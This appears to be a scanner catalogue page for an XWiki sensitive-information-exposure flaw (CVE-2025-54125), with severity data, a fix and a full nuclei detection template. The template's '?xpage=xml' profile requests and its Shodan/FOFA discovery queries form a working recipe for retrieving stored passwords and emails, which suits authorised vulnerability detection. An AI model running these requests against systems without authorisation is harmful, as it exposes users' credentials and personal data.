XWiki XML View - Sensitive Information Exposure

highseverity

7.5CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in XWiki's XML view functionality exposes sensitive information such as passwords and email addresses that are stored in custom fields not explicitly named as password or email. This information disclosure occurs when accessing user profiles with the xml.vm template.

Impact

Unauthenticated attackers can access sensitive information including passwords and email addresses stored in custom user profile fields through the XML view functionality.

Fix

Upgrade XWiki to the latest version that properly protects sensitive custom fields in XML view outputs.

How to confirm it

Send: GET {{BaseURL}}{{path}}
Positive when: status_code == 200 and contains(content_type, 'text/xml') and contains_all(body, '<users>', '<property>', '<author>', '<email>')

Run it with nuclei: nuclei -id CVE-2025-54125 -u <target>

The full check

id: CVE-2025-54125

info:
  name: XWiki XML View - Sensitive Information Exposure
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in XWiki's XML view functionality exposes sensitive information such as passwords and email addresses that are stored in custom fields not explicitly named as password or email. This information disclosure occurs when accessing user profiles with the xml.vm template.
  impact: |
    Unauthenticated attackers can access sensitive information including passwords and email addresses stored in custom user profile fields through the XML view functionality.
  remediation: |
    Upgrade XWiki to the latest version that properly protects sensitive custom fields in XML view outputs.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-22810
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54125
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-359
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{path}}"

    payloads:
      path:
        - "/bin/view/XWiki/{{username}}?xpage=xml"
        - "/xwiki/bin/view/XWiki/{{username}}?xpage=xml"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/xml')"
          - "contains_all(body, '<users>', '<property>', '<author>', '<email>')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from